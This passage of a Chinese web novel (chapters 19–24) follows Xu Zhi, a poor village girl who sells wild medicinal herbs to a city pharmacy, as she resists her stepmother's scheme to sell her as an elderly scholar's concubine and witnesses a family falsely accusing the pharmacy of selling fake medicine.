王茹娇有些惊讶,前几次来,她明明看到许芷都是一筐一筐的往下运。 其实许芷倒是不想下山,只是她看王茹娇害怕,想着先把人送下去。 但是明显王茹娇没摘尽兴。 她微不可查的叹了口气,抬眼道:“去河边把这个清洗一下,去摘别的。” 接近山脚的地方也有很多的金簪草和车前草,她们两个在那采摘得了。 王茹娇立马喜笑颜开跟着走。 去河边的时候,许芷还发现了一些白茅。 此时正是白茅根生长的时候,也是最新鲜的时候。 许芷在旁边找了根树枝,小心地一点点把白茅根都弄了出来。 她让王茹娇一起,但是王茹娇看着许芷这么辛苦刨根的样子,她不好意思弄。 许芷是真指着这些讨生活,而她只是想做新衣服。 等到有别的更多的,更常见的草药,她再弄算了。 许芷见她不动,以为是嫌刨根麻烦,也就没再管她,自己沉浸其中。 弄完了白茅根,她带着王茹娇往山下走。 走到了河边,她们两个将草药都清洗干净。 等着洗完后,许芷指着地上到处都是的金簪草说:“这个也是草药,要小心的整根拔出。” “黄花苗也是草药啊。” 王茹娇有些惊讶,随即就蹲下采摘起来。 这个好,到处都是,王茹娇心想,自己就光弄这个金簪草就行。 很快两个人采摘的都装不下了。 在河边洗过之后,背着满满当当的收获回了家。 下山后,许芷交代了王茹娇金簪草和茵陈的晾晒方式和需要注意的。 王茹娇听后胸有成竹的说道:“放心吧,我能行。” 说完跟她们祖孙俩说了再见,就回家去了。 许芷将今天采摘好的草药都分开晾晒好,就又上山去了。 邓老太还寻思等孙女晒完,带着她去那两亩地看看。 老三弄回来的麦种还没种,现在已然晚了,她想着去看看地里是什么情况。 看看能不能种些红薯和土豆什么的。 要是差不多,就托儿子买回来些土豆和红薯种。 没想到,她听着没什么动静,出来的时候已经看不到人了。 “这难不成真成了猴子,一个跟头十万八千里,就这会儿功夫可没影了?” 邓老太心里清楚,孙女也是为了她们俩的生活在努力,她老婆子也不能落后。 这么想着,她寻思着去王家问问。 王家在城里吃得开,或许知道什么赚钱的门路,她老婆子也能行。 打定主意后,她拎着刚采的野菜出了山坳。 到了王家的时候,站在门外叫了两声,王茹娇蹦蹦跳跳的就出来了。 “呀,婶子,你怎么来了?” 邓老太递上手里的野菜,道:“我来找你嫂子有点事。” 王茹娇赶紧把人迎进了门,去徐青云住的西厢房叫人。 徐青云正在给丈夫纳鞋底子,王桥每天往城里跑,费鞋。 听到小姑子说邓老太来找自己,还以为听错了。 赶紧走出来,客气道:“邓家婶子,怎么今日想起来家里了?” 这么说着把人往屋里引,“有什么坐下说。” 还吩咐王茹娇给她倒茶喝。 邓老太一听赶紧摆摆手,“不必麻烦。” 她拉着徐青云的手,亲热热的说道:“我也就不跟你们客气了,我今日来是想让你问问你家王桥,城里可有我老婆子能做的活计。” 徐青云一听这话,瞬间哽住。 这邓老太的年纪在这放着,不管什么活计都没人敢用她。 邓老太没注意她的脸色,自顾自的说着:“我跟小指儿你也知道,日子不好过,想着做点啥,总要好一点。” 这些徐青云自然是知道的,她没有直接拒绝,而是委婉说晚上问问丈夫,就将人送走了。 而得了这话的邓老太,自以为事情有了着落,便回了家。 第19章 闹了别扭 看着邓老太回家的佝偻身影,王茹娇忍不住问了自己嫂子。 “邓家婶子年事已高,腰都直不起来,如何能做工啊?” 徐青云拿起鞋垫继续纳,头也不抬的回道:“自然不能。” “那你还......” 王茹娇惊讶地望着嫂子。 徐青云无奈的抬起头说道:“你哥不会知道这事。” 同时,她警告的眼神看向小姑子,叮嘱道:“你也别看她们祖孙可怜就妄言,况且不是我们不愿帮,实属无奈罢了。” 说完便专注在手里的鞋垫上。 王茹娇怎会不知嫂子的意思,她无奈的叹口气,去院子晒今日采的草药。 心里还暗自决定,不再上山去了。 自己的新衣服不要也罢,可许芷真是指着这些过活。 她正晾晒着,突然嫂子叫她来厨房。 王茹娇进了厨房,看到嫂子徐青云手里拿着个袋子。 “这是一斤粗面,你给婶子她们送去,我们能帮的也就这些。” “嫂子......” 王茹娇就知道,她嫂子定然不会只看着她们如此。 “快去吧。” 徐青云勾唇一笑,和煦的面容满是温柔。 许芷刚下山就看到了来找她们王茹娇,走上前问她有何事。 看到王茹娇手里的袋子,心里了然,不等王茹娇开口,直接拒绝。 王茹娇脸上的笑容立刻僵住,不解的问:“为什么呀?这可是我嫂子特意让我拿来的。” 许芷自然是知道她们是好心,可是谁家的东西也不是大风刮来的,帮她们一次就够了。 这份恩情已经在心里,不必这样。 她们总要靠自己活下去,而不是靠别人的接济。 自己现在有活计做,生活会越来越好的。 许芷看着王茹娇不解的样子,只道:“我甚是感激你跟你嫂子的好意,只是我们不需要。” 不需要三个字落在王茹娇的耳中,如同一根针。 她生气的将手中的粗面放在地上,赌气的开口:“爱要不要,反正我带来了。” 许芷哎一声,没拦住生气的王茹娇,只能看着她出了山坳。 无奈,她只好捡起地上的粗面,往家回。 回来的时候,邓老太已经在做晚饭。 看着她手里拿着个面袋子,疑惑不已。 许芷将粗面放好,解释道:“王家给的。” 邓老太一听,着急的手里锅铲都没放,走到许芷面前,语带责备道: “你怎么接了?” 话出口,察觉语气太过,又放缓了些同孙女讲道理。 “你跟娇娇是好,人家心善也愿意想着咱,可咱不能傻了吧唧的就收了,何况咱现在过得去。” 许芷没过多解释,只说下次去城里给王家带东西。 听到孙女这么说,邓老太才又去做饭。 许芷买的两斤肉昨晚做了一半,今晚邓老太不打算继续做。 孙女去山上采草药卖一趟也不容易,不说顿顿有肉,起码是隔一天让孙女吃一回。 她打算把儿子带回来的那根猪大肠收拾一下煮了。 味重一点,一半当面浇头,一半今晚配着野葱炒一下吃更香。 配着野菜小米粥,再蒸两屉馍。 两个炉灶做起饭来快得很,邓耧子到家的时候,饭菜已经摆上桌了。 他看着炒好的猪大肠,可惜的咂咂嘴:“应该打一两烧刀子配着。” 听闻此言,邓老太给儿子塞了个喧软热乎的大馒头,“喝啥酒,这么辛苦的做工,赶紧攒钱娶个媳妇儿。” “哎呀,娘,那媳妇儿是路边的花?我想要就有啊。” 邓耧子大口的往嘴里塞着馍,配着大肠吃,香得很。 邓老太看着儿子的样子,只丢下句长不大,便一同坐下吃饭。 许芷不爱吃猪大肠,所以一直闷头吃炒的野菜和剩的咸菜。 吃过饭,邓老太跟儿子说了要在开一块菜地的事情。 邓耧子一听满口答应下来。 他在外面做的是盖房子的活计,一群人听着个领头的,领头的说那家盖房子就有活干。 正好这次的房子,明天就盖好,能早些下工。 跟邓老太保证到,吃晚饭前,一定能将菜地开好。 许芷听到舅舅是盖房子的,瞬间来了兴趣,问道:“舅舅,盖个一进的院子要多少银钱?” 邓耧子听到沉思片刻,说道:“这个得看这院子用什么砖、什么木和什么瓦,不过百两是要的。” 听到这话,许芷若有所思,嗯了一声便不再说话。 而邓耧子开玩笑道:“怎么?小芷要盖大房子啊?” 还没等许芷说话,邓老太先被吓到了。 “哎呦,那可是一百两!谁能盖的起啊,想都不敢想哦。” 许芷听到只是笑笑不语。 反而是邓耧子反驳邓老太的话道:“娘,这世上没什么事儿是不能的,只要想做一定能成。” 邓老太一听,把话头又引到了娶妻这件事上。 邓耧子听得头大,赶紧吃了饭,回家躲清闲。 走的着急甚至连明天的早饭都没带。 许芷只好安慰祖母道:“明儿我早起给舅舅送去。” 晚上睡觉,许芷就开始算自己要何时才能盖的起一进的房子。 现下她每个月进账一两银,一年便是十二两,若是一分不花,起码得攒个九年。 那也太久了,许芷心想。 在别人手下做工,就算是涨钱,也是有数的。 若是自己有能力做个生意起来,那才是无可限量。 她想到了舅舅的那两亩地,越发觉得自己想的药田能干。 明天她就去地里看看,这两亩地不跟其他的地一般,每年都种。 家里的壮年嫌这地种着费劲儿不管。 前几年,祖母还能一个人慢慢悠悠的过来守着地种点啥。 这两年也渐渐没这气力了,这地算是荒在那。 还不知道需不需要重新开垦,若是需要,也是大工程。 总之慢慢来,想做的都能成。 第二天睡醒,许芷早早先去给小舅舅送了饭。 回来的时候,祖母已经起来在做饭。 两个人吃过饭,许芷说想去看看那两亩地。 祖母点点头道:“是该去看看,咱们得种点粮过活,现在种麦子是不行了,可以种点红薯土豆什么的。” 许芷暂时先不提自己要种草药的事情,跟在祖母后面去地里。 第20章 又来说亲 出乎意料的是,这两亩地并不像许芷想的那样杂草丛生。 反而是耧好待种的样子。 只有稀疏几棵没拔的野草,在地里长着。 邓老太熟练地将那野草拔出来扔到地埂。 “哎呀,一阵没来,就长草了,还是得赶紧种下点什么踏实。” “不是说这地无人种了吗?” 许芷疑惑的问道。 “是不种了,我也种不动,只能时时来拔草耧地养着些,起码想起种的时候,不至于太难弄。” 邓老太拔完了草,手背着看地里的情况,回道。 看完,邓老太对许芷说道:“下次咱俩一起去城里,我去看看买点红薯苗。” 许芷站在地埂边上,嗯了一声,将祖母扶了出来,回了家又上山去。 这次她又找到了不少的白茅根,还有零散的茵陈。 将这些都小心地刨出来后,清洗干净,她的背篓已经装满了。 今天就打算弄这些,不再多弄。 因为下次进城里要带着祖母一起,那她弄了多少草药就不能藏着掖着。 虽然不多弄,但是她打算再探索一下山上。 正值春日好时节,肯定还有其他的草药自己没找到。 前些日子,她总围绕着河边转悠,就算是有意往深处去,也没离河边太远。 这次她打算往西边的密林里多探寻探寻,最好是找到些更值钱的草药。 果真这次见到了许多其他的药材,虽然好多还没长成,但是药材的种类是真不少。 而且不少是幼苗,很适合移栽。 许芷心中有了打算,就下山去了。 到了家中,看到祖母跟王茹娇二人,正亲亲热热的聊着天。 发觉她回来了,祖母招手让她过来。 嘴上佯装不满:“你跟个皮猴似的,总往山上跑,这不娇娇过来找你,都见不到你人。” 许芷没什么表情,只是嗯一声。 看着她这幅样子,王茹娇心里不舒服。 因为觉得许芷跟自己中间隔着什么,不似从前那般好。 许芷给王茹娇倒了碗泡的山楂茶。 王茹娇接住碗,抬眼看向许芷,想说些软话。 昨天她一回家,嫂子徐青云就看出她不高兴。 知晓事情经过后,对许芷的印象更好了几分。 她劝小姑子道:“咱们在乎的是帮,可受了恩惠的人在乎的是还。” 王茹娇听到这话更不明白,她们并不盼着许芷还她们什么。 纯粹是好心,根本不是图其他的。 这么想着,这话也就说出了口。 徐青云叹了口气说道:“因为你跟许芷这丫头都是心善的。” 看着小姑子还是不理解的样子,徐青云只得囫囵的说道:“总之,许芷这丫头做的没错,你也别气着了。” 想了一晚上的王茹娇,今天便来找许芷低头。 只是还没等她开口说话,许芷已经又出去了。 她只好追出去,看到许芷在弄今天采到的药材。 许芷感受到后面王茹娇跟了过来,她料想一定是为了昨日的事情。 她承认昨日是说话有些直白,所以边理药材边说:“昨日是我说话没考虑你的感受,莫要见怪。” 一句话就将王茹娇哄好了,她立刻展露笑颜:“我没有生气。” 说完怕许芷不相信,特意又重复了一遍。 “我真的没有生气。” 许芷闷声嗯了一下,她立刻凑过去,帮助许芷晾药材。 邓老太远远看着两人的好模样,脸上笑意浮现。 气氛正好,山坳口几人突然闯入。 为首的柳珍儿带着个老婆子和年轻的男子喜笑颜开的走过来。 邓老太看到立马堵上前:“你来作甚?” 柳珍儿没什么好脸色,低嗤一声,不客气道:“管你这个死老太婆什么事?” 说着推开邓老太,找寻着许芷的身影。 因为许芷在背阴处晒草药,她没看到,转头问邓老太:“我那闺女哪去了?” 邓老太睨她一眼,故意拿腔拿调的回讽:“我这个死老太婆怎么会知道!” “你!” 听到这话,柳珍儿气极。 不过身侧的那妇人说了句什么,她缓了脸色,自己闯进去找。 邓老太着急的赶紧出山坳,去村里找人来帮忙。 许芷早就听到了动静,她没着急出来,而是晾好了药材才出现。 柳珍儿一看许芷出来了,跟那老婆子对了对眼。 那老婆子上下打量了许芷一眼,像是看货物一般。 半天,薄如纸张的唇轻启,“嗯”的认同一声,刻薄的声音跟着说道: “看着是个老实的。” 王茹娇看到了他们不怀好意的眼神,奋勇上前将许芷挡在身后,“你们要干什么?” 却无人理会她。 那老婆子偏头问柳珍儿,“八字不错吧?” 柳珍儿点头哈腰的说道:“不错,不错的。” 说完,小心地问对方。 “您这是打算要这丫头了?” 听到这话,那老婆子微微颔首,施舍一般:“就她吧。” 这云里雾里的对话,听的许芷和王茹娇都疑惑不解。 王茹娇双手叉腰,气势汹汹的问他们。 “你们打什么哑谜?到底要干什么!” 柳珍儿得意一笑,“我作为这孩子的母亲,能干什么,当然是给她找了门好亲事。” 自从上次她没占到便宜,回家之后越想越不甘心。 既然这舅舅和舅母都能安排外甥女的亲事,那她这正儿八经的母亲为何不行? 父母之命媒妁之言,她不嫁也得嫁。 想好之后,她便是左问右找。 并不拘什么人家,只要聘银给的多就行。 这一问还真让她打听到了。 城里袁秀才想寻个八字合适的小姑娘当妾,给自己续命。 一听对方能给十两银子,她立刻托人去说。 至于八字是不是真的合适,那还不是她说什么是什么。 袁秀才那边倒是说行,就是得见见人,才算数。 这才有了今日这一出。 “什么?!” 王茹娇不敢相信自己听到了什么。 “小芷今年不过十四,你给她找婆家?” 柳珍儿满不在乎道:“那可是城里的袁秀才!富庶人家,进了门享不尽的荣华富贵。” 一听是袁秀才,王茹娇更气愤了。 “那袁秀才七十有余,就算是小芷的曾祖也说得,你竟觉得这是门好亲事?” 听到王茹娇的话,许芷才知道袁秀才是谁。 她面色陡然变冷,双眼死死盯着柳珍儿。 第21章 摘金银花 柳珍儿自觉坦荡,并不认为自己所做之事有何不妥,迎上许芷的目光丝毫不躲。 “你也不必这么看着我,姑娘大了都是要嫁人,我给你找个富庶人家,你该对我感恩戴德。” “呸!” 王茹娇简直不敢相信,会有人如此无耻。 许芷清楚跟柳珍儿掰扯属于瞎费口舌,她看向那老婆子问道:“你家秀才要的人是何种八字?” 柳珍儿一听这个,赶忙挡在许芷和老婆子面前。 “说好的事,你们赶紧把这丫头弄走。” 许芷一看柳珍儿这架势,就猜到自己的八字绝对不匹配。 她就说,怎么可能会那么正好。 所以故意试探,看看柳珍儿会是什么反应。 许芷直接了当的开口:“我的八字跟你们要的绝对不符。” 他们要什么样的八字,她不清楚,但是她说出了自己的八字,那人一听便知。 果然听到她的八字,那老婆子看向柳珍儿的眼神变得古怪。 “胆敢诓骗我们袁家,真是吃了熊心豹子胆了!” 柳珍儿一听这话,害怕的瑟瑟发抖。 开口想要解释,可对方根本不听,直接带人就离开。 柳珍儿生气的瞪了许芷一眼,赶紧追上去解释。 王茹娇生气的直跺脚,“这人怎么如此狠毒,竟然让你去给那古稀之人当小妾!” 相比王茹娇愤世嫉俗的样子,许芷显得冷静地多,她眯着眼看向柳珍儿消失的方向。 不咸不淡道:“她也只是想想。” 王茹娇还在一边骂着许芷那毫无人性的后母,许芷这边已经想到了户口的事。 自己要找机会把自己的户口独立出来,不能放在许家。 不然他们永远有拿捏自己的底牌。 等到邓老太带着张立柱和张铁牛过来的时候,看不到柳珍儿的身影。 她扑向许芷,慌张的捧着许芷的脸检查着。 “小指儿,祖母的小指儿,没事吧?他们没怎么着你吧?” “没有,什么事都没有。” 许芷的话像是给祖母吃了定心丸一般,她拍着胸口松了口气。 “不是,他们——” 王茹娇刚打算公开柳珍儿令人发指的恶行,却被许芷抓住了手。 她看到许芷微微摇了摇头,只得将话都咽了下去。 换了说辞:“他们真是闲得慌,来这找茬,被我跟小芷骂回去了。” “对,就这样。” 邓老太很是赞同:“他们要再来,你们就这样,不用怕,把他们骂走。” 许芷看着匆匆赶来的张家兄弟,开口道谢:“谢谢你们前来,只是我没事,麻烦你们跑一趟了。” 张铁牛嘿嘿腼腆一笑,不知道该说啥。 张立柱上前回道:“无妨,跑一趟看到你安全也心安。” 许芷淡淡一笑,送走了他们兄弟俩和王茹娇。 她还着急做药丸,剩下的材料今天下午她就能做完。 送走之后,祖母将许芷叫进了屋里,温声问道:“现下就我们祖孙两个,发生了什么能跟祖母说说吗?” 她自然是不信柳珍儿跑一趟只为落井下石,那可是个无利不起早的人。 许芷拍着祖母的手背,一副无事发生的样子,敷衍道:“真的没事,祖母你就放心吧。” 说罢打了个哈欠,说自己累了,躺上炕就睡。 邓老太看着孙女能毫不在意的睡着,心想兴许真的没发生什么。 果然今天半下午邓耧子就回来了。 许芷做完药丸起来的时候,看到了正在开菜地的舅舅。 她看着舅舅满头汗,有眼力见的倒了山楂茶递给舅舅。 邓耧子接过山楂茶,咕咚一口喝完不够,又要了三碗。 随后一鼓作气将菜地开好了。 两块菜地中间隔着一条小道,新开的这块挨着柿子树。 而邓老太则是在给之前种下的菜浇水。 刚种下的菜,正是要水的时候,勤浇水才能发芽生根。 许芷去村里借了个小锄,把之前剩下的蒜种和豆角种都种了下去。 忙活完,日头已经西下。 邓老太观察到昨日孙女并不爱吃大肠,所以今晚单独炒了点肉给孙女吃。 孙女辛辛苦苦采草药赚的钱买的肉,得舍得给孙女补身子。 许芷吃饭的时候看到桌子上离自己最近的肉,嘴角微不可查的勾起。 第二日,许芷起床没先急着上山。 她吃过饭,挑了水将昨天种的菜都浇了浇水。 又将屋里好好打扫了一遍,看到太阳高高升起,许芷才拿起竹筐上山去。 邓老太还说孙女今天转了性,不着急上山了,结果扭脸就看到她又背上竹筐。 许芷直奔金银花去,到了地方她看着将开未开的金银花,嗅着浓郁的气味。 这时候正是采摘的好时候。 她擦了擦手掌心的汗水,又吹了吹,确定手上没有湿漉漉的。 开始小心地摘金银花。 因为金银花能从三月开到八九月,所以她摘起来很是大胆,并不留朵。 摘到太阳正挂在头顶,才将所有的花都摘完了。 因为金银花娇嫩,不能堆积时间久,需要尽快晾晒。 她没再专注其他的草药,而是直接下了山。 到家就先去把金银花晾开。 看着角落里其他晾好的草药,心想这次应当能卖个好价钱。 这么多种药材,可是不错。 很快便到了下一次集,许芷大早上背着所有的草药,跟祖母一起去城里。 而王茹娇因为只薅金簪草,没有弄到多少草药,这次她就不去了。 打算再攒攒,等到下次集再去。 祖孙两个早早就等到了官道旁,这一次许芷拿的东西确实多。 所以上车的时候,主动地多给了人家一个铜板。 看到许芷这么会来事,那赶车的倒是没说什么。 就是邓老太觉得心疼钱,没想到这草药还没卖就先投进去一个铜板。 而许芷这三大包的东西,也吸引了车上人的注意。 一妇人打量她们许久,才凑过来笑的温和问道:“大妹子,你这是弄得什么呀?” 许芷没什么表情,简单回复道:“野菜。” 那妇人自然是不信的,谁家弄这么多野菜去城里。 城里的东西最是齐全,什么样的菜买不到。 她又舍下脸问,具体是什么野菜,许芷只当没听到,闭着眼睛养神。 那人自讨没趣,便住了嘴。 第22章 再度进城 到了城里要下车的时候,许芷先下车,转身去扶祖母。 只是祖母刚站起身,身后那妇人莽着从车上冲下来,撞到了祖母。 邓老太一个不稳差点从牛车上摔下去,幸而许芷眼疾手快的护住了祖母。 等到邓老太稳住了身形,从车上下来,许芷转身去找那妇人的身影。 那人却早已不见踪影,许芷不满的叹了口气。 看着外孙女生气的样子,邓老太抚慰道:“祖母没事,咱们正事要紧。” 许芷看着祖母已经没了刚刚受惊的样子,只得点点头,拿上东西往怀清堂去。 路上她正思考着一会儿怎么支开祖母,将自己做好的药丸拿出来。 突然就听得祖母开口道:“小芷,祖母有点事要去办,你先去怀清堂,一会儿我过去找你。” 许芷一听正合心意,就自己拿着所有的草药走了。 快到怀清堂的时候,许芷偷偷地把自己做的药丸都拿了出来,放进了草药的袋子里。 杜仲在柜台前,远远看到许芷拿了那么多,就赶紧迎了上去。 到了许芷面前,杜仲直接拿了两袋子东西,只给许芷留了一个袋子。 “许姑娘,怎么不找个家里人一起来帮忙啊。你一个姑娘家,带这么多东西过来,累着了吧?” 杜仲放下东西,还贴心的给许芷倒了杯茶水。 许芷也没客气,道谢过后拿起茶杯一口喝完了。 走这一路确实渴。 许芷将麻袋都打开,指着里面的草药道:“你瞧瞧,能收吗?” 杜仲笑呵呵道:“许姑娘的能力我清楚,肯定能收。” 嘴上这么说着,但他还是仔细的检查了一下这次的草药。 生意场上的人,话说的好听,但做事认真是应当的,许芷并没有因为这个就觉得有什么。 毕竟真检查清楚,这钱她拿的心安。 出乎杜仲意料的是,这次的草药不止金簪草和车前草。 还有不少的茵陈和白茅根,现在正是时节,许芷处理的也好,药效品相都不错。 但是最好的要属那半袋的金银花了,那药效和品相都能往顶级上够一够了,而且还是野生的。 “这是头茬花吧?” 杜仲手里捏着金银花问许芷。 许芷点点头称是,心里不禁夸杜仲有眼力。 杜仲检查完,直接报了价:“许姑娘,这金簪草和车前草还是上次的价格十二钱一两,茵陈同价。 这白茅根品相好得多,姑娘也处理的好,价高些,便是二十钱一两。 只这金银花,属上乘,这价我定不得,得去问问管事,姑娘先去后院给药丸吧,我这边问好了去找你。” 说着杜仲去拿了一杆大秤,“我先给姑娘称称,有多少心里有个数,要不等会儿咱们俩都离了眼,万一出了什么差,可说不清。” 其实许芷倒还挺相信怀清堂的,只是既然杜仲想的如此周到,她便同意就好。 称过两人确定了分量,许芷才拿着药丸去了后院。 她掀开帘子,看到三七正在院子里练习水泛丸,许芷不着急就站着看了会儿。 这次三七的技术好了不少,虽说药匾里的药丸大小不一,可好在是成丸了。 看着药匾中圆滚滚的药丸,三七高兴的咧开了嘴。 转头才看到盯着自己的许芷,他自知技术不如许芷,下意识的把药匾中的药丸往身后藏。 许芷本有心想鼓励他一句,只是看他这样的举动,便知沉默就可。 所以只是拿起手里的药丸说道:“我来送药丸。” 三七把手里的药匾放下,走上前道: “给我就成。” 他接过药丸,还偷偷打开看了看。 看到里面大小一致的药丸,他叹口气心想自己何时能练成这样。 许芷自是注意到了他的小动作,只当看不到,问道。 “这一次的药粉呢?” 三七丢下一句等着,就回到了药房里。 许芷无事,便看看院子里的晒药架上面都是什么药。 没一会儿,三七就出来了。 看着三七手里拿了七八种药粉,许芷心想这次做的多一些。 正准备上前去拿,看到三七后面又跟了一个小兄弟。 这个小兄弟手里拿着制丸板和一个大罐子。 三七将手里的药粉都给了许芷,又指着身后师兄手里的东西说:“师父说这次你做蜜丸,这是制丸板和蜂蜜。” 许芷点点头轻描淡写的来了句“知道了。” 三七本身是有些看好戏的想法。 因为这次黄药师没说让许芷做蜜丸,只是说让三七挑着些需求量大的药丸给许芷做。 他自己故意的,就是想看看这个许芷是不是什么都行。 制蜜丸对温度、火候和蜜药比例要求都很高,他等着许芷说自己不行。 可没想到人家只是淡淡的接受了,这跟他想的不一样。 他看着许芷要离开的背影,着急的叫住了对方。 许芷不明所以的转头,眼神疑惑的看着他。 三七看着许芷的眼神,张张嘴却又不知道该说什么。 只能胡乱说了句:“蜂蜜小心拿着。” 许芷听闻眼皮轻压,不理解的目光一闪而过。 随即想通了,装蜂蜜的是个陶罐。 觉得三七应是怕自己拿了这么多东西,万一没拿住弄撒了蜂蜜,就耽误了药丸的制作,也浪费了药铺的东西。 她肯定的保证道:“放心,药丸我会按时保量的制好。” 说罢,便离开了后院。 独留三七一人在院子里,回想许芷刚刚那笃定的模样。 “我可是师承黄药师!” 三七心想自己可不能被这个都没老师的野路子比下去。 拿起药匾继续勤学苦练。 许芷到了前厅,正好杜仲支好了银钱。 因为问过管事,管事看过金银花的品相,给了个不错的价格,他就直接支了银钱。 “许姑娘,金银花四十五钱一两,我想着这价格你应该没有异议,就直接支了钱。” 杜仲将钱袋子递给了许芷,拿了个算盘边算边说:“金簪草、车前草和茵陈共六斤七两,八百零四文,白茅根三斤二两,六百四十文,金银花五斤三两,两千三百八十五文,共三两八钱二十九文。” 算完也说清楚了,杜仲抬手示意许芷检查下银钱是否够数。 第23章 收下定金 许芷照例打开钱袋,却看到里面放了四吊钱。 她赶紧拿出其中一吊,要还回去一百七十一文。 杜仲笑着按下了她,“姑娘,这是我们管事的特意叮嘱的,这钱是定金。” “定金?” 许芷不明白他们要在她这里定什么。 杜仲将拨弄过的算盘晃了两下,算珠都整齐的靠在了一侧,收起算盘解释说: “野生的金银花难得,虽已摘了头茬,可第二茬跟头茬的药效差不了太多。 我们管事的说,第二茬的请你务必还送到我们药铺来,这一百七十一文就是定金,到时还是这个价。” 若是如此,许芷便收下了。 “钱我收下了,下个月二茬花,我一定送来。” 说完,许芷又试探的问杜仲:“那个,能帮我把铜板换成银子吗?四吊钱太多,不好拿。” 杜仲一听表示理解,满口答应了。 许芷只换了三吊,剩下的一会儿去买点家用,添置东西。 拿到钱的许芷,将钱都装进了自己准备的钱袋子,打算把杜仲给的还给对方。 杜仲摆摆手没收,反而劝许芷将钱还放进这次的钱袋子。 看着许芷不解的样子,杜仲解释说:“这钱不少,你回家的路上,若是遇到不轨之人,见到是怀清堂的钱袋无人敢为难你。 若真有那不要命的,你拿着钱袋子回来,钱会补给你。” 听了杜仲的话,许芷才认真的看这钱袋子。 上面绣了怀清堂的名号和日子。 许芷惊讶于怀清堂的细致程度,也让她对怀清堂的东家有了好奇之心。 是什么宅心仁厚之人,才能想的如此周到。 她接受了杜仲的好意,转身离开了怀清堂。 不过许芷没有走远,只是随意地坐在怀清堂门外的台阶上,等着祖母过来找自己。 只是还没等来祖母,却等来了背着病重的母亲的张立柱,后面还跟着李春草和张丰收夫妻两个。 几人慌慌张张的跑了过来,张立柱背着母亲进了怀清堂叫大夫。 而李春草和张丰收夫妻两个,则是在怀清堂门外。 一个往地上一瘫,哭天喊地的抹泪儿。 一个站在门前,一手叉腰,一手指着怀清堂的牌子开始破口大骂。 “这天杀的怀清堂,为了敛财,竟给我母亲弄假药。我可怜的老母亲,钱也花了,药没少喝,病不仅没好,反而更严重了!” 说着,张丰收愤怒的要求怀清堂给他们个说法。 怀清堂本就在城里名望颇高,一听说敛财、假药,众人赶紧围了过来看热闹。 许芷听了张丰收的话,紧紧皱眉。 上次她看过药没问题,只是煎药的方式出了差错。 若是按她说得来,剩下的三副药喝进去,症状定会减轻。 虽定然不如九副药的药效好,但不会更严重。 她正思索着,杜仲赔笑着冲了出来。 张丰收一看来了个伙计,他仗着高大的身躯,压迫感十足的对着杜仲怒吼。 “我告诉你,这事儿不能善了,我娘要是有什么三长两短,你们就跟着我娘一同去地府吧!” 杜仲一听赶紧赔笑道:“您先别急,我们店里的大夫正在诊脉,您要不先进店里喝杯茶?” 他得把人弄进铺子里,现在具体什么情况并未明了。 由着他在外面这样胡说,损害的是怀清堂的名誉。 张丰收一听脸上咧开了一个大大的笑容,而杜仲看到,以为对方愿意进去好好说。 可下一瞬,看到张丰收的脸变得如同罗刹,紧接着他的脸上就挨了一巴掌。 打的杜仲口中瞬间腥甜不已,杜仲完全没料到对方会动手。 等他反应过来,脸颊已高高的肿起。 许芷看到挤过人群冲进来,查看杜仲的伤势。 而李春草看到了许芷,有一瞬间的愣怔。 “没事吧?” 许芷看着杜仲的脸颊,就知张丰收下了死手。 杜仲疼的头发懵,可还是摆摆手对许芷说自己没事。 他感觉好了些,再度好声好气的对张丰收说话: “这位壮汉,事发突然,还请您进去跟我们的大夫讲一下前因后果,若真是我们店的过错,我们绝不推诿,一定给你个交代。” 可惜杜仲这样的退让,没让张丰收敛了怒气,反而一口咬定他这样恳切,是因为他们卖假药。 李春草也在一旁添油加醋,一时之间,看热闹的众人还真被张丰收说动了。 而看着众人都站在自己这一侧,张丰收得意至极。 许芷眼见杜仲卑躬屈膝,却换来对方的得寸进尺。 又想着跟张家一个村子的,便上前劝道: “张家婶子,张叔,如今缘由未知,但老太太病重是真,不如先看病。 如今闹这一场,不过是耽误张奶奶的病程。” 她本以为如此一说,张家夫妻两个能消停点,可没想到李春草将矛头对准了她。 “我还没去找你这个晦气丫头,你倒是自己找上门了。” “找我?” 许芷不可置信的指着自己。 李春草刻薄的看着许芷,有模有样道: “你这个配了冥婚的晦气丫头,去过我家我婆婆就病重了,一定是你身上的煞气碍着我婆婆。” 张丰收一听,立刻火冒三丈的看着许芷道:“你给我等着,怀清堂我要追究,你我也不会放过!” 杜仲一看许芷被缠上,立刻上前道: “若是疑心我们的药有问题,你可以将药渣——” 杜仲话说一半,李春草突然嗷一嗓子,哭的肝肠寸断。 “我看你们说那么多,就是不想认!” 李春草哭嚎着,转身朝着一个婶子哭道: “我们这种地里刨食的穷苦人家,本就没多少银钱,看一次病能掏空了家底,可偏偏这药是假的啊!” 这可怜样成功的激起了这位婶子的怜悯心,她安慰了李春草几句,对着杜仲刺道: “你们怀清堂就是这样店大欺客?” 一时间讨伐的唾沫星子淹没了杜仲。 许芷知道此时最重要的是要搞清楚张老太为何病重,她趁乱进了铺子。 找到了急头白脸的张立柱,问道: “这怎么回事?药我上次看过,不是假药。” 张立柱深深地叹了口气,从她上次说了熬药的方式有问题后。 他嫂子就说会改正的,只是改了之后张老太喝药还是没有用。 这病又拖到现在就更严重了。 他哥嫂一合计,就带着老母亲来找怀清堂说事。 第24章 没有药渣 张立柱无奈道:“这不是我哥嫂想闹事,可我娘吃了药确实没用,又严重了许多,若不是药有问题,怎会如此?” 许芷想了下,又问:“确定按我说的熬药了吗?上次的药渣可是熬的太狠了,药效都没了。” 还没等张立柱回答,给张老太把脉的谢医师出来了。 许芷和张立柱赶紧上前问怎么回事。 谢医师没有着急回答张立柱,而是先反问他:“老太太是什么时候来这拿的药?谁拿的药?落款是谁?” “十日前,我来带着母亲拿的药,落款是我的名字张立柱。” 张立柱虽急,还是先回答了谢医师的问题。 听到张立柱的回答,谢医师吩咐身边的随从:“去找一下十日前一张治疗风寒咳嗽的药单子,落款是张立柱。” 随从很快就将药单拿了过来。 谢医师接住之后,快速的看了起来,许芷也挪到医师的身边看了看。 药单子完全没有问题。 谢医师严肃的问张立柱:“你们到底有没有给老太太喝药?” 张立柱一听这话疑惑不已:“当然喝了,我嫂子每天早上第一件事就是给我娘熬药。” “可老太太这身体跟没喝过药一样,你们是怎么熬的?” 谢医师又问。 他既然药单子没问题,那他只能怀疑熬药的方式不对,导致药效都失了。 熬药本身也不是什么简单的事情,他们会按照药房来叮嘱每一个来拿药的人,该怎么熬药。 若是熬药出了岔子,对病症的治愈也是影响很大。 许芷此时适时开口。 “五日前,我曾在他家见到熬过的药渣,药倒是没问题,只是熬的方式不对,药效都没了,故而叮嘱了几句。 